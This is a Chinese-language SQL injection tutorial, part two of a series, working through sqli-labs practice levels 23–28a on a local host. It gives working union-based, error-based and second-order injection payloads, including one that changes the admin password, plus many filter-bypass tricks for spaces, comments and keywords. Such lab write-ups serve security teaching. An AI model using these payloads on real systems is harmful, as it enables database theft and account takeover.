本文为mysql注入天书连载第二篇。
第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html
[hr]

第二部分/page-2 Advanced injection

Less-23

Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。
Solution:
http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273

此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,’3’ limit 0,1
Explain:此处讲解几个知识点:
1、id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
2、-1' union select 1,@@datadir,’3,第一个’(单引号)闭合-1,第二个’(单引号)闭合后面的。这样将查询内容显示在username处。
3、此处可以报错注入,延时注入,可以利用or ‘1’=’1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271
以上这条语句就是利用extractvalue()进行报错注入。

将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。
• 获取数据库
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

此处获取的数据库为security
• 查看security库数据表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

• 查看users表的所有列http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

• 获取内容
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3

Less-24

Ps:本关可能会有朋友和我遇到一样的问题,登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压,解压过程中要主要要覆盖。
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
    此例子中我们的步骤是注册一个admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。
    Sql语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='   admin' # ' AND password=' ,也就是执行了UPDATE users SET passwd="New_Pass" WHERE username ='   admin'
    步骤演示:
    (1)初始数据库为

(2)注册admin’#账号

(3)注意此时的数据库中出现了admin’#的用户,同时admin的密码为111

(4)登录admin’--,并修改密码

(5)可以看到admin的密码已经修改为lcamry

Less-25

本关主要为or  and过滤,如何绕过or和and过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&&   or=||
暂时只想到这些,还有的话可以补充。
本关利用方法(4)进行。
报错注入  or示例
http://127.0.0.1/sqllib/Less-25/index.php?id=1'|| extractvalue(1,concat(0x7e,database()))--+

And 示例
http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+

Less-25a

不同于25关的是sql语句中对于id,没有’’的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201,@@basedir,3%23

此处我们依旧用||  &&来代替and,or。
http://127.0.0.1/sqllib/Less-25a/?id=20||1=1--+

Less-26

TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。
本关结合25关,将空格,or,and,/,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%09    TAB键(水平)
%0a    新建一行
%0c    新的一页
%0d    return功能
%0b    TAB键(垂直)
%a0    空格
26关,sql语句为SELECT
FROM users WHERE id='$id' LIMIT 0,1
我们首先给出一个最为简单的payload:
http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1
Explain:'%a0||'1    
同时,我们此处的sql语句为SELECT * FROM users WHERE id='1'  || ‘1’  LIMIT 0,1
第一个  ‘  首先闭合id='$id' 中的’,%a0是空格的意思,(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。)同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,‘1则是为了闭合后面的 ’ 。
因此可以构造类似的语句,http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271

接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。同时,也可以利用报错注入和延时注入等方式进行注入。这里就不进行一一的演示了。

Less-26a

这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们构造payload:
http://127.0.0.1/sqllib/Less-26a/?id=100‘)union%a0select%a01,2,3||(’1

explain:基础与26一致,我们直接用 ‘) 闭合前面的,然后跟上自己构造的注入语句即可。最后利用('1 进行闭合即可。
http://127.0.0.1/sqllib/Less-26a/?id=100’)union%a0select%a01,user(),(‘3

可将user()更换为你想要的sql语句。同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。

Less-27

本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。
示例:127.0.0.1/sqllib/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1

TIPS:uniunionon也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

Less-27a

本关与27关的区别在于对于id的处理,这里用的是 “ ,同时mysql的错误不会在前端页面显示。
我们根据27关直接给出一个示例payload:
http://127.0.0.1/sqllib/Less-27a/?id=100“%a0UnIon%a0SElecT%a01,user(),”3

TIPs:这里说下以上payload我们利用最后的3前面的 “ 将后面的 “ 给闭合掉。或者亦可以利用以前的方法 1,user(),3 || “1,同时本关可以用延时注入的方法进行注入。

Less-28

本关考察内容与27关没有太大的差距,我们直接给出一个payload:
http://127.0.0.1/sqllib/Less-28/?id=100')union%a0select(1),(user()),(3)||('1

Less-28a

本关与28基本一致,只是过滤条件少了几个。
http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271

源链接

Hacking more

...